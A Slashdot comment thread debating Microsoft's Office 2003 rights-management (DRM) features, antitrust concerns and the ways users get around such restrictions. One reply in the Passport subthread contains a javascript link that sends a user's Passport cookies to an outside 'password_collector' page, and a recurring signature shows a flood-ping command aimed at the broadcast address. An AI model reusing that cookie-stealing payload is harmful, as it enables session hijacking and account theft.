    2. Re:openoffice, koffice, etc. by vsavatar · · Score: 2, Insightful

      Well, you see, there's this thing called Antitrust law in America, which makes it illegal for a corporation to use their leverage in the market to destroy the competition. If Microsoft creates a proprietary, secure format that only Office users can read without having to hack it, they, having the largest office software marketshare in the United States will in fact be using their power as a monopoly to bludgeon projects like OpenOffice out of existence. This isn't an issue of whether or not they have to support another company's software, it's an issue of them using their already monsterous marketshare to keep other companies from competing with them by further building up their already giant barriers to entry into the market of office software. In case you don't recall, Microsoft has already been convicted once of Antitrust violations, but because of Bushy's boys they got a slap on the wrist which they totally ignored anyways. I truly hope a democratic President gets elected in 2004 and has the justice department smack M$ down with another lawsuit that hopefully will actually have some teeth to it.

    3. Re:openoffice, koffice, etc. by binner1 · · Score: 1

      The problem with this scenario is thus:

      New President X initiates antitrust proceeding agains MS. (Open Source world rejoices)

      MS drags feet for 4 years. (Open Source world watches in anticipation)

      New President Y is elected and drops the suit. (Open Source world watches history repeat itself)

      The antitrust suits won't work until the legal wranglings can be cut down to a reasonable timeframe. MS can theoretically win any case, as it has the time and money to wait out any 'Power that IS'...

      -Ben

    4. Re:openoffice, koffice, etc. by deanpole · · Score: 1
      Providing DRM using an unpublished standard is highly anti-competitive. How do we get our legislators, courts, and public to see that?

      Hollywood/MPAA/RIAA are so naive. When Microsoft's DRM become ubiquitious, they will suffer too.

    5. Re:openoffice, koffice, etc. by stwrtpj · · Score: 1
      It's like Trusted Computing and signed Xbox images - they're not trying to shut out competition, but if that incidentally happens, they're not going to cry about it.

      <PETPEEVE>

      Please stop using the Xbox as an example of the Great Microsoft Conspiracy. I have no love for Microsoft (all the PCs in my house are RH Linux), but even I see that using the Xbox as an example of shutting out competition is bogus. The Xbox is their hardware. They designed it. It is not the same thing as a third party creating a generic PC. It is specifically designed for one thing and one thing only. They have every damn right to restrict the hell out of it.

      </PETPEEVE>

      --
      Karma: Frotzed (mostly due to the Frobozz Magic Karma Company)
    6. Re:openoffice, koffice, etc. by Sabalon · · Score: 1

      Unless the DoJ decides not to be serious about it.

      But anyway, I don't see where MS making their Office program have a file format that someone else can't easily read is using their leverage to destroy the competition.

      If they decided to give away a copy of office to every household then perhaps. If they put code in Windows that would not let wordperfect run (again). If they send out an update to IE that just happens to delete OpenOffice.exe.

      But just because they make changes to what they are currently doing or how they save a file to provide new features is hardly going out of their way to destroy the competition. I don't see where they should be required to stagnate just on the off chance some other project won't work with a new idea.

      I abhor the way MS does some of their business, but I do agree with the "freedom to innovate" idea that Ballmer/Gates were pushing. IMHO the DOJ should not have been looking at them making windows more intergrated (gee...didn't KDE have browsers built into their "explorer" windows too - must have been a good idea), but should have been looking at the way MS forced companies into contracts, etc...

  8. No surprise there by wizardmax · · Score: 1

    M$ has been running after DRM for some time now, no surprise that they will use it in everything they have

    I wander if i can use this email to prove .... to .... Oh damn, i cant print it due to DRM restrictions. I wander....

    --


    Free speech is getting expensive...
    1. Re:No surprise there by toomz · · Score: 1

      Then take a screenshot and print that...

      --
      If a chair is thrown in a forest, and there are no witnesses, did Ballmer still do it?
    2. Re:No surprise there by wizardmax · · Score: 1

      Coward.

      --


      Free speech is getting expensive...
  9. Finally, protection for creators. by Anonymous Coward · · Score: 4, Interesting

    Now a creator can control his own work, as it should be. As a creator, I have been waiting for such a technology. I can assign which works I want to be for my benefit, and which to give away. I am in control. This will allow me to service those which actually pay me for those works I would desire to sell. Piracy, as we know it, is about to end.

    DRM will allow me to finally see how many people are actually willing to buy my work, and allow me to price accordingly. With piracy eliminated, supply and demand pricing can be truly determined.

    1. Re:Finally, protection for creators. by Bonker · · Score: 1

      Sure, up until someone cuts and pastes the plaintext of your document into an HTML editor and posts it to alt.cracked.office.drm.docs.

      --
      The next Slashdot story will be ready soon, but subscribers can beat the rush and slashdot the links early!
    2. Re:Finally, protection for creators. by great+throwdini · · Score: 1
      (Score:2, Interesting)

      Chalk up another two moderators who brazenly demonstrate an inability to spot the Funny Troll, I guess.

    3. Re:Finally, protection for creators. by kindbud · · Score: 1

      Creators have never been able to control their own work. Just ask God.

      --
      Edith Keeler Must Die
    4. Re:Finally, protection for creators. by xigxag · · Score: 2, Insightful

      Troll much? DRM technologies have been available for many years already. Did DAT eliminate audio piracy? Have DVDs eliminated video piracy? Has digital cable eliminated theft of services? Did XP stop OS piracy?

      If there's one silver lining to all this it's that a heavily restrictive DRM technology will likely backfire upon those who use it. If you won't allow anybody to lend/trade/resell your creations, exposure will drop accordingly. Casual sharing is the grease that enables the small creator's works to spread about. Do you think AIM, ICQ, Napster, Kazaa, Linux, Gnome, Winamp, etc. would have achieved such widespread popularity without being freely available? Even Windows would never have gotten to where it is now without massive bootlegging. A lot of people who eventually paid for the ubiquitous Win95 and its successors "extensively previewed" Win 3.0, 3.1, and 3.11 for Workgroups for free first.

      --
      There are two kinds of people: 1) those who start arrays with one and 1) those who start them with zero.
    5. Re:Finally, protection for creators. by moncyb · · Score: 1

      Yeah, but you'll still be able to see them, which means you can just retype the document into the window of any word processing program...

  10. Permission of Documents by ShwAsasin · · Score: 2, Interesting

    I can't imagine how many people are going to screw around with this feature and lock themselves out of their own word file. Although it may be good for a small percentage of people, how is this going to affect John Q. Trailertrash who likes to fiddle with new functions?

    1. Re:Permission of Documents by binaryDigit · · Score: 4, Insightful

      I can't imagine how many people are going to screw around with this feature and lock themselves out of their own word file

      This is no different than allowing anyone to even simply password protect their files.

      Although it may be good for a small percentage of people, how is this going to affect John Q. Trailertrash who likes to fiddle with new functions?

      That's the point, it's not designed for JQT, it's primarily for corp. users. If little Johnny wants to add DRM to his homework then more power to him, but that is not the audience that M$ has in mind. Now Johnnie's teacher who's creating a test, now that's a different story.

    2. Re:Permission of Documents by bwt · · Score: 2, Insightful

      Actually, this raises a new possibility for malicious code. Instead of trying to remove copy protection -- someone will write code to quietly ACTIVATE IT.

  11. I can actually see use for this. by NetRanger · · Score: 1

    In a large business, this technology could be invaluable. Some people might need to read a document -- but not necessarily copy or print it, because you can't be 100% sure they won't sell the information to your competition.

    That being said, this is still a technology with a LOT of strings attached. Tread carefully.

    --
    -- We live in a world where lemonade is artificial and soap has real lemon.
    1. Re:I can actually see use for this. by Twanfox · · Score: 2, Insightful

      Thing with View Only is that, while one can't print or edit the document, or even copy it for someone else, what stops said person from writing notes on a sheet of paper and avoiding the DRM aspect of the document? What stops the person from just remembering what he read and repeating it later, or dictating word for word into a micro cassette recorder? The only thing DRM is going to be usefull for is preventing a direct print, copy/paste, direct copy, and locations of viewing (assumed). If you send said information to a semi-trustworthy source, the information itself might still find it's way out.

    2. Re:I can actually see use for this. by Queer+Boy · · Score: 1
      Some people might need to read a document -- but not necessarily copy or print it, because you can't be 100% sure they won't sell the information to your competition.

      Back in the olden days before we had them newfangled computers, we had this here thing called a pen and paper.

      In the same vein that there will be people who record a film at the theatre and people that will pay to watch those recordings, there are people who will copy sensitive information from a computer screen with a pen and paper. Or maybe even a snapshot.

      Someone will always think of a way to circumvent copy protection. You have to look at behaviours and reasons why they do it.

      "Don't steal music!" anyone?

      --
      Not since Marie-Antoinette played milkmaid has looking simple and honest been so fake and complicated.
    3. Re:I can actually see use for this. by gpoul · · Score: 1

      Why do so many people seem to work with people they don't trust?

      If you don't trust them, don't work with them. It's that simple.

      I, at least, wouldn't want to work in a company where everything has to be restricted to 'protect' the company's 'trade secrets' (or whatever this is called) from malicious employees who're trying to sell them to someone.

      I just don't get it.

    4. Re:I can actually see use for this. by Anonymous Coward · · Score: 1, Interesting

      Password protected .pdf file, NDA with watermark etc already works.

      How often would a vendor send me a datasheet in a Word file in the first place ?

      As a matter of fact one clueless vendor use power point for the datasheet ended up screwing up mechanical drawing and got themshelve disqualified as a supplier.

  12. Okay... by PCM2 · · Score: 2, Insightful

    And this is bad how, exactly?

    Let me guess: When it's called PGP it's good, when they call it Microsoft Something Something it's bad?

    --
    Breakfast served all day!
    1. Re:Okay... by intermodal · · Score: 1

      yes. Compatibility makes it so. PGP works with GnuPG. Microsoft strives not to work with GNU anything.

      --
      In SOVIET RUSSIA... erm...NSA AMERICA, the Internet logs onto YOU!
    2. Re:Okay... by kaisa_sosey · · Score: 1
      How exactly ?

      Can you guess that MicrosoftSomethingSomething will not get openMicrosoftSomethingSomething anytime soon ?

    3. Re:Okay... by 1010011010 · · Score: 2, Informative

      when they call it Microsoft Something Something it's bad

      More or less. They have a knack for making things bad. PGP can work with ANY data. The new Office "upgrade" will only work with the new office upgrade. PGP doesn't mean lock-in. It's generic, open, and there's even competing implementations. Microsoft's solution is, naturally, about lock-in.

      --
      Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
    4. Re:Okay... by blibbleblobble · · Score: 1

      "When it's called PGP it's good, when they call it Microsoft Something Something it's bad?"

      Microsoft product's primary purpose is evil. PGP's primary purpose is good. PGP is used by individuals to protect their privacy. DRM is used by corporations to screw their customers.

    5. Re:Okay... by duggy_92127 · · Score: 1, Troll

      Oh come on, people. This is not Insightful, this is a complete troll.

      PGP is a general-purpose encryption tool. It's an open standard with several implimentations, both commercial and not. It is all around great stuff.

      Office 11's DRM stuff is NOT an open standard, WILL require millions of users and businesses to re-pay the "Microsoft Tax", and WILL shut out any hope of interoperability with any other office suite by making it illegal, under the DMCA, for other developers to try and reverse-engineer it. It may be USEFUL, don't get me wrong, but for the above reasons, it's pretty damn evil.

      It's a pretty clear-cut issue. If RedHat came out with this, or Mandrake, or Debian, the response would be exactly the same, if not even MORE harsh. We expect this from Microsoft, as evil as they are; if a Linux distro tried to pull it, we'd all freak out.

      Doug

  13. If they want to use their own dog food... by Ducon+Lajoie · · Score: 1

    Microsoft themselves have been burned many times by leaked, and maybe falsified, documents. I have no idea how reliable all this will be without a TCPA, but I can totally understand why they'd want that kind of features.

    Quite frankly, above all the abuse possibilities, I must confess that I can think of a zillion uses for rights management in document in my daily practice that are more fine grained that "can't modify" or "don't print".

    And it's a feature with a double upgrad incentive: upgrade to use the feature and, oh look at that, the document format changed again! I thought they swore that would not happen anymore!

    1. Re:If they want to use their own dog food... by Anonymous Coward · · Score: 5, Funny

      I was at MS for a job interview in the not so distant past and a lot of office doors have signs that say "OFFICE XP FREE OFFICE - DOG FOOD SUCKS" with a picture of an 11 with the circle/slash through it. Some people even went so far as to have pictures of the software and a dog taking a dump on it. I asked around and a lot of people were like "yeah, it's pretty divided. Even the Office team isn't too impressed by it."

      Posting AC since I signed that nasty NDA you know.. And - yes, I did get an offer, and yes, I did laugh at them.

  14. My favorite line... by damu · · Score: 1

    "Microsoft is requiring users who want the IRM functionality to be running Windows Server 2003, Microsoft Passport and a special Client Access License (CAL). Microsoft is offering Office Beta 2 customers who do not have Windows Server 2003 a free, hosted version of IRM to test."

    So you mean, I, my co workers, those who I do business with, and their coworkers, and those who they do business with, and ..., have to upgrade?

    --


    Useless sig.
  15. And when... by Heem · · Score: 1

    And when someone sends a "restricted" email to me from outlook 2k3, and I open it in Mozilla Mail, or another non-MS mail client either > It won't open, or The restrictions are gone. Either way - This limits the sender to sending the message only to people with Outlook 2k3 - Seems like MS is up to it's same ole tricks - forcing users to use it's software.

    --
    Don't Tread on Me
  16. Yeah.. by zapfie · · Score: 1

    While we are bashing this, let's get rid of file permissions in Ext2.

    --
    slashdot!=valid HTML
  17. So.. by cybercuzco · · Score: 2, Interesting

    So basically what theyre doing is including the ability to make documenst read only, read/write etc. How is this any different than say acrobat documents? I cant weite a pdf file when i open it, at least not with the reader, I cant save it, I can pretty much only look at it. Thats all that MS is doing from the sounds of it

    --

    1. Re:So.. by Col.+Klink+(retired) · · Score: 2, Funny

      > I can pretty much only look at [a PDF document].

      You can even add additional restrictions to PDF docs as well. You can ask Dmitry Sklyarov how well they work.

      --

      -- Don't Tase me, bro!

    2. Re:So.. by curious.corn · · Score: 1

      You're right. Infact I hope Adobe gets off it's ass and move to better cryptography for it's permission scheme. But remember xpdf has patches to get around document restrictions and so does ghostscript (some .ps preambles) Just upping to 128 bit won't help at all given the open format PDF is so this can only mean one thing... M$ is going to do some weird os enforced attribute scheme and proprietary undocumented encryption. Uh, surprising eh?

      --
      Mi domando chi à il mandante di tutte le cazzate che faccio - Altan
  18. Just so long as they don't add a 'Delete' right... by Bonker · · Score: 3, Interesting

    Sorry, Microsoft Outlook has determined that you don't have sufficient privaleges to delete the mail message: "See Hot Young Teens FREE!!!!! JYXX92D"

    --
    The next Slashdot story will be ready soon, but subscribers can beat the rush and slashdot the links early!
  19. My question by ACNiel · · Score: 2, Insightful

    This is pretty neat development, anyway you look at it.

    My question is how many /.'ers will see DRM and Microsoft in the same sentence and immediately start crying foul?

    My notes, my diary, my internal memos, or anything else produced in Office wants to be free. You may want to see the memo that says that 3M knows they are causing giant, man eating three eyed frogs because of the waste they are dumping, but it isn't you right to see it.

    On another note, if this works properly (big if) you will know that the next Halloween document is a fake.

    1. Re:My question by Col.+Klink+(retired) · · Score: 1

      > On another note, if this works properly (big if) you will know that the next Halloween document is a fake.

      Unless it's a picture of the screen or an MP3 of someone reading it or the author didn't set the permissions properly...

      --

      -- Don't Tase me, bro!

    2. Re:My question by TFloore · · Score: 2, Insightful
      You may want to see the memo that says that 3M knows they are causing giant, man eating three eyed frogs because of the waste they are dumping, but it isn't you right to see it.

      If they are dumping their waste in the stream that flows through my back yard, it's my right to see it.

      On the subject of illegal acts...

      Just curious, how does this software work with subpoenas? Can the Clerk of the Court plug in an override code? How about the plaintiff's attorney? There must be an override of some sort for this, or the courts will have some harsh words on the subject. Not that that had ever bothered Microsoft before.

      (This is, incidentally, a similar issue that I have with most copy-control software, that has no provisions at all for the expiration of copyright.)
      --
      This is my sig. There are many like it but this one is... Oops. Frank, I've got your sig again! Where's mine?
  20. oo by seelevarcuzzo · · Score: 1, Insightful

    another good reason why you should support open office if you already dont

  21. Heh by Wind_Walker · · Score: 4, Interesting
    From the Beta 2 text:
    Restricted permission for sensitive informationMost corporations today rely on firewalls, log-in security, and other network technologies to protect their sensitive intellectual property. The fundamental limitation of these technologies is that, once legitimate users have access to the information, they can share it with unauthorized people, potentially breaching security policies. IRM helps prevent the sensitive information itself from unauthorized access and reuse.
    Yeah, provided the user doesn't, you know, remember it. Or print it out. Or have somebody looking over their shoulder.
    1. Re:Heh by Paul+Neubauer · · Score: 1

      Or a little gadget called a camera...

      Which can be in a portable phone.
      Which can be on the net.
      And send pictures over it.

      Microsft DRM, meet Sprint PCS...

      --
      I don't subscribe to RMS's GNUtopian vision.
    2. Re:Heh by dragon13 · · Score: 1

      It should block printing. And as far as alt-print screen or a camera, that'd get pretty impractical when you start talking about docs that are longer than a few pages. And who's gonna believe Joe Accounting Temp who claims he saw some damaging internal memo...it's certainly not like having an actual copy of the memo. I think it's pretty much assumed that everyone knows there's no such thing as 100% secure data, but properly implimented drm in office will give substantially greater security.

    3. Re:Heh by LordSah · · Score: 1

      Yeah, provided the user doesn't, you know, remember it. Or print it out. Or have somebody looking over their shoulder.

      This prevents someone from accidentally (or unknowingly) sending out sensitive information. If someone really wants to leak it, then there's no stopping them.

      You'll note that the Beta 2 text doesn't say anything about "this is your end-all solution to keeping information from unauthorized use".

    4. Re:Heh by jmorse · · Score: 1

      Gotta plug that analog hole somehow!

      --

      "You done taken a wrong turn."
      -Bill McKinney, in Deliverance
    5. Re:Heh by OneIsNotPrime · · Score: 1
      Yeah, provided the user doesn't, you know, remember it. Or print it out. Or have somebody looking over their shoulder.
      Or photograph it. Or transcribe it. Or Screen capture it.
      --

      ---

      WARNING:Slashdot karma not redeemable in the afterlife.

  22. Passport as ID? by PhxBlue · · Score: 4, Interesting

    Microsoft is requiring users who want the IRM functionality to be running Windows Server 2003, Microsoft Passport and a special Client Access License (CAL).

    <sarcasm> And this will be Kosher, because we all know that Microsoft Passports are fully secure. </sarcasm>

    Seriously, ideaological difference aside: Fix what's broken before you try to build new features on top of it!

    --
    !#@%*)anks for hanging up the phone, dear.
    1. Re:Passport as ID? by xombo · · Score: 1

      They need to have some way word could be networked and allow them to manage it through the active directory, so access to things don't have to be based on a network owned by someone else, and if they aren't on the network, you can send them some sort of digital key.

    2. Re:Passport as ID? by blibbleblobble · · Score: 1

      "Microsoft is requiring users who want the IRM functionality to be running the super-secure Microsoft Passport"

      about://passport.microsoft.com/ javascript:document.location = "mysite.org/password_collector?" + document.cookie;

    3. Re:Passport as ID? by blibbleblobble · · Score: 1

      "what the hell kind of link is that?"

      It's one which, if clicked by anyone using Internet Explorer, will send their Microsoft Passport cookies to a page on my site, which will allow me to log into any passport-protected site as them

      p.s. I just copied the link-format from 2600; I've not investigated it much myself, as a Mozilla user.

  23. Ok, I know I'm just asking for it, here, but... by rgoer · · Score: 1
    Here, from the article:
    "IRM is a persistent file-level technology from Microsoft that allows the user to specify permission for who can access and use documents or e-mail messages, and helps prevent sensitive information from being printed, forwarded, or copied by unauthorized individuals. Once permission for a document or message has been restricted with this technology, the access and usage restrictions are enforced no matter where the information is."
    I know I'm showing my ignorance here, but how is this different from traditional filesystem permissions? If I chown something to myself and make it readable to noone but me, won't I be the only person who can then alter those permissions again in the future (except for superusers and such, but I assume windows "administrator" accounts will have the same priveleges)? Just curious.
    1. Re:Ok, I know I'm just asking for it, here, but... by binaryDigit · · Score: 2, Interesting

      I know I'm showing my ignorance here, but how is this different from traditional filesystem permissions

      1 - This applies to documents and things like email messages.

      2 - AC is preserved even when documents are transferred to another system.

      3 - You can restrict actions such as copying or printing.

      4 - You can create valid lifetimes for the items.

      5 - You can limit # of actions (# of copies, # of times opened, etc)

      In other words, there is a world of difference.

    2. Re:Ok, I know I'm just asking for it, here, but... by rgoer · · Score: 1

      Thanks for the education. Now, some insight: until some script-kiddy comes up with an outlook worm to exploit security holes in any number of these items (a worm that changes the "valid lifetime" of all your documents to .01 seconds sounds pretty rough to me), these things don't sound all that bad.

    3. Re:Ok, I know I'm just asking for it, here, but... by quiddity · · Score: 1

      So it's encryption, but with additional options?

      --
      .
      . hmmm
    4. Re:Ok, I know I'm just asking for it, here, but... by binaryDigit · · Score: 1

      Well we can bash any and all attempts by Microsoft to do anything, but we should be able to at least say, "hey, what they're trying to achieve is valid". Their ability to actually create a robust solution of course is fair game, but that doesn't mean that the concept is not worthwhile.

    5. Re:Ok, I know I'm just asking for it, here, but... by binaryDigit · · Score: 1

      So it's encryption, but with additional options?

      Well that's one way to think about it. The big deal of all this of course is the OS and app support needed to make all this fly. The actual physical representation (encryption, access control structures, etc) are no big deal.

    6. Re:Ok, I know I'm just asking for it, here, but... by 1010011010 · · Score: 1

      but we should be able to at least say, "hey, what they're trying to achieve is valid".

      You're right, we *should* be able to say that. However, how long as it been since it would be correct to say that?

      --
      Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
    7. Re:Ok, I know I'm just asking for it, here, but... by binaryDigit · · Score: 1

      You're right, we *should* be able to say that. However, how long as it been since it would be correct to say that?

      How about right now ;) After all, Microsoft is the king at trying to do the right thing. Just as they are the kings of doing the right thing wrongly.

    8. Re:Ok, I know I'm just asking for it, here, but... by bnenning · · Score: 1
      but we should be able to at least say, "hey, what they're trying to achieve is valid"


      Except it's not. "Trusted computing" as defined by Microsoft is not a valid goal because it necessarily means that users must be prohibited from performing a great number of entirely legitimate activities. The DeCSS fiasco is just a small example of what's to come if they continue down this path.

      --
      How to solve most of our problems: 1.Lots of nuclear plants. 2.Cure aging.
  24. Could be a blessing in some situations. by ip_vjl · · Score: 1

    I'd like the ability to lock the sales guys from altering Powerpoint presentations. When they want a new slide they can come back, instead of "whipping one up" with the horrible graphics they get off their "20 bazillion clip art images" CDs.

    Seems they don't know how to re-apply templates to new slides either. Fonts all mismatched and screwed up ... the list goes on.

  25. spam by DonkeyJimmy · · Score: 3, Funny

    ...allowing restrictions to be set on Outlook mail messages...

    Oh good, now I can get spam that I don't have permissons to read.

    --
    "Probably the toughest time in anyone's life is when you have to murder a loved one because they're the devil." -Philips
    1. Re:spam by Lussarn · · Score: 1

      Oh good, now I can get spam that I don't have permissons to read.

      No, you can get spam you don't have permission to delete.

    2. Re:spam by pozzy1 · · Score: 1

      Oh good, now I can get spam that I don't have permissons to delete.

      --
      http://www.wickedtoast.com
  26. Not necessarily a bad thing by BigumD · · Score: 4, Insightful

    I can think of a couple of uses already for this technology that would be extremely useful in my office:

    -- Restrict printing of documents that are sensitive

    -- Don't allow company wide e-mail without administrative approval

    and most importantly, don't allow my boss to see that I'm calling him a dick in an e-mail ;)

    Technology like this does have a GOOD purpose as well as negative uses. This could be a really useful office tool.

    --
    --The space between my ears was intentionally left blank--
    1. Re:Not necessarily a bad thing by sporty · · Score: 2, Insightful
      Restrict printing of documents that are sensitive


      If it can be seen or heard, it can be reproduced. Screenshots my friend.. screen shots :) And yes, anyone wanting to make a copy of something, will.

      Don't allow company wide e-mail without administrative approval


      That's your mail handler's job. Most mail handlers support this as it is.


      and most importantly, don't allow my boss to see that I'm calling him a dick in an e-mail ;)


      Idiotically enough, we have outgoing filters on our mail preventing words like shit, but not sh-it or shitake. :)
      --

      -
      ping -f 255.255.255.255 # if only

    2. Re:Not necessarily a bad thing by u19925 · · Score: 1
      "and most importantly, don't allow my boss to see that I'm calling him a dick in an e-mail ;)"

      And get fired, when someone finds a hole in IRM and your boss finds out.

    3. Re:Not necessarily a bad thing by athakur999 · · Score: 1
      If it can be seen or heard, it can be reproduced. Screenshots my friend.. screen shots :) And yes, anyone wanting to make a copy of something, will.


      And anyone with a bulldozer can simply knock one of your home's walls down and steal your TV. But that doesn't mean you shouldn't lock your door. Sometime intent on getting the information will get it. This DRM will stop the lazy/ignorant person from printing it out then leaving it at Starbucks, for example.
      --
      "People that quote themselves in their signatures bother me" - athakur999
    4. Re:Not necessarily a bad thing by philovivero · · Score: 1
      Technology like this does have a GOOD purpose as well as negative uses. This could be a really useful office tool.
      Well, I'm just glad that a company with a great track record for using technology for GOOD purposes is the one pushing this onto the consumers.

      I have the greatest confidence that this won't be used to lock out OpenOffice users, won't be used to make sure Evolution users can't read the email sent to them, and won't be used to ensure Outlook users can't read the email of non-Outlook-generated emails.

      Because there is no history of Microsoft doing exactly these things.

      Right?

      I hate to be blunt, but don't be so naive. This will not be a good thing.

    5. Re:Not necessarily a bad thing by sporty · · Score: 1

      But why give people a false sense of security? Locks and doors actually do work. They slow down prowlers and make it highly likely they'd be caught. Screenshots are easy to take, discrete and work.

      --

      -
      ping -f 255.255.255.255 # if only

    6. Re:Not necessarily a bad thing by rowanxmas · · Score: 1

      I would like to take this oppurtunity to tell my boss:
      John, you are a dick.

      P.S. but you knew that, since I tell you in person most days ;)

    7. Re:Not necessarily a bad thing by jantangring · · Score: 1

      and most importantly, don't allow my boss to see that I'm calling him a dick in an e-mail ;)
      Electronically signing a letter calling your boss a dick will raise the probability of something bad coming out of it for you, not lower it.

      Seriously, what real problem for users is this technology solving? Real as opposed to imaginary?
    8. Re:Not necessarily a bad thing by aegilops · · Score: 1

      When I was using Lotus Notes back in '97 or so (R4.5) they had a feature whereby you could flag an email as being prohibited from being printed or from forwarded on, to restrict unauthorised circulation. Similarly you can definitely restrict access to PDFs you create by tweaking settings in Acrobat Distiller (e.g. cannot print, cannot copy text).

      I don't think either technique could circumvent the screen-grabbing method as referenced elsewhere in the comments, however.

      Anyway, if you call your boss a dick you can always play email Russian Roulette by sending the message, waiting as long as you dare, then recalling the message (of course, assuming you are running Outlook / Exchange). On second thoughts, no doubt they'll have a DRM switch to prevent that, too.

      Aegilops

  27. Bucking the trend by binaryDigit · · Score: 4, Insightful

    I know that there'll be plenty of snide negative comments about this, but I figured, what the hell.

    I think that generally this is a good thing. Every company I've worked at has created copious piles of "internal only" type documents (electronicly that is). Making sure that these documents either stay internal, or don't go beyond those people externally that you give them to is always a hassle and pretty much impossible to do currently. Right now you have to depend on the "good faith" of your employees or those you've forwarded documents to and have agreements with (e.g. non-disclosures). Having a solution that makes controlling this information a bit easier could be useful.

    Now before people start getting all in a tizzy, I'm not saying that Microsofts implementation will be any good or that it won't have problems and cause more trouble than it's worth. I'm just saying that the concept is worthwhile and shouldn't just be dismissed because it's being foisted by the "Evil Empire" or you can think of a dozen ways around it.

    1. Re:Bucking the trend by binaryDigit · · Score: 1

      Of course by the time that I finish posting this, I see that many of the posts are actually positive. I guess there is some hope yet ;)

    2. Re:Bucking the trend by Col.+Klink+(retired) · · Score: 1
      I'm just saying that the concept is worthwhile and shouldn't just be dismissed because... you can think of a dozen ways around it.
      Are you serious? If your front door is made of paper, do you really think it matters what type of lock you install?

      If you're perfectly fine with inventions that fix problems (but don't actually work), why not buy my Honest Engine Document Control System (patent pending). Before you let anyone you don't trust have access to your document, you make them put their hand on a bible and repeat the following: "I promise not to share this information or let God strike me down".

      I can't guarantee that God will, in fact, strike anyone down if they break their promise. But, as you say, it shouldn't just be dismissed because there are ways around it.

      --

      -- Don't Tase me, bro!

    3. Re:Bucking the trend by binaryDigit · · Score: 1

      If you can't trust your employees to not disclose confidential info, what makes you think they won't hand-copy the contents after they try to forward or print it?

      Well there is obviously no way to make a system like this 100% secure. But one of the areas that it can help a lot is in making physical the rules for handling internal documents. One example is where a worker takes a file home (copies to floppy, emails to themself, etc) to work on it. Their intention is not to divulge the contents, but by their actions, they can sometimes cause these documents to be put in compromised position. With these DRM controls, you can ensure that the document remains internal, or at the very least "remind" the user that the document is not to leave the building. There are also other issues, such as knowing what information can be released to which customers and others that have nothing to do with your employees "stealing" information.

      That and your assertion is generally naive. You can never know who will or won't be trustworthy, you try your best but you'll never be 100% correct. This is just another tool, that just like any other tool, has it's place and it's limitations.

    4. Re:Bucking the trend by 1010011010 · · Score: 1

      Right now you have to depend on the "good faith" of your employees or those you've forwarded documents to and have agreements with

      Ad in the future, you'll depend on... Microsoft and PassPort. Yah.

      "The passport servers are down today, so Americans are all on holiday."

      --
      Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
    5. Re:Bucking the trend by binaryDigit · · Score: 1

      If you're perfectly fine with inventions that fix problems (but don't actually work),

      Is the computer on your desk faultless? Is the software that you use faultless? How does finding holes in a system automatically make that system "not work"? By your inference, web servers should have been done away with long ago, never even attempted given all the bugs and problems. And we shouldn't even bother to have doors and locks at all, since there are ways to get around them, whether they are made of paper, wood, or steel. No system is perfect, you will always be able to find ways around it, you just have to make a determination as to whether or not that system provides the level of protection you desire. If you're only criteria is "is it perfect", then you end up doing nothing.

    6. Re:Bucking the trend by binaryDigit · · Score: 1

      Ad in the future, you'll depend on... Microsoft and PassPort. Yah.

      How is this any different than any other aspect of our lives, in regards to having an increased dependance on technology?

    7. Re:Bucking the trend by Anonymous Coward · · Score: 1, Insightful

      yeah, but one problem is it will be broken (you KNOW it will), and then all these businesses that depended on it will be screwed.

      Have you ever told a non-techie person something they didn't know was possible? For instance, did you ever look at their email headers and guess what email program they use, or fingerprint their computer OS, or get past an anti-right-click javascript, or take screenshots of a "do not print" PDF file?

      They get this look on their face like "how on EARTH did you do that?"

      We're going to see a lot of that in the coming years because people (from record companies on down) honestly believe that information can somehow be coralled and fenced in.

      Encryption only works when all parties are trusted. If the guy on the other end really wants to leak your memo, he will.

    8. Re:Bucking the trend by LordSah · · Score: 1

      This is exactly how they are selling DRM. It's aimed squarely at the enterprise, so that sensitive data doesn't get out. No one else is going to care (and not use it).

    9. Re:Bucking the trend by binaryDigit · · Score: 1

      yeah, but one problem is it will be broken (you KNOW it will), and then all these businesses that depended on it will be screwed.

      Well knowing Microsofts history, yes, the chances of this working "out of the chute" is slim indeed. But my point was that the concept of DRM is not inherently evil (even if Microsoft is), but many individuals here on /. think so.

    10. Re:Bucking the trend by binaryDigit · · Score: 1

      No one else is going to care (and not use it).

      Not totally true. How about teachers who create tests in Word? Or other content creators such as ad agencies. Or ma and pa shops that use Quicken and give the files to their accountants. While I agree that the primary focus will be on the enterprise, I think that a great many people could find the functionality useful. Heck, you could even DRM your pr0n stash to keep it away from prying eyes (e.g. your wife or the feds). Of course the feds will probably just get the backdoor from M$, but that's another issue altogether ...

    11. Re:Bucking the trend by Col.+Klink+(retired) · · Score: 1

      > How does finding holes in a system automatically make that system "not work"?

      We're talking about the security equivalent of putting up a sign that says "please don't rob me". It is so trivial to get around that it's going to cause more problems than it could possibly solve. The biggest problem I can see is companies that will actually BELIEVE that it will work and will trust MS to keep their documents secure instead of those pesky policies and background checks and NDAs.

      With music files, I can vaguely imagine that DRM might make perfect digital copies enough of a hassle that a there may be a slightly smaller number of illicit copies circulating. But internal memos and Word docs don't even need remotely perfect copies and it will always be trivial to, for example, read such a document aloud.

      Further, I can imagine LOTS of scenarios where this will make life a hassle for honest and trustworthy users. I get a fair number of perfectly innocent and non-sensitive emails that can't be read from the Lotus Notes IMAP server because the user set "always encrypt" as their default.

      I wonder how many calls tech support will get from people who can't print documents that they authored because they didn't understand the permissions that they set.

      I usually use Open Office to read Word docs sent to me. I imagine that DRM will be the end of that. That, from MS's standpoint, is about the only real reason to pursue this.

      --

      -- Don't Tase me, bro!

    12. Re:Bucking the trend by binaryDigit · · Score: 1

      We're talking about the security equivalent of putting up a sign that says "please don't rob me". It is so trivial to get around that it's going to cause more problems than it could possibly solve. The biggest problem I can see is companies that will actually BELIEVE that it will work and will trust MS to keep their documents secure instead of those pesky policies and background checks and NDAs.

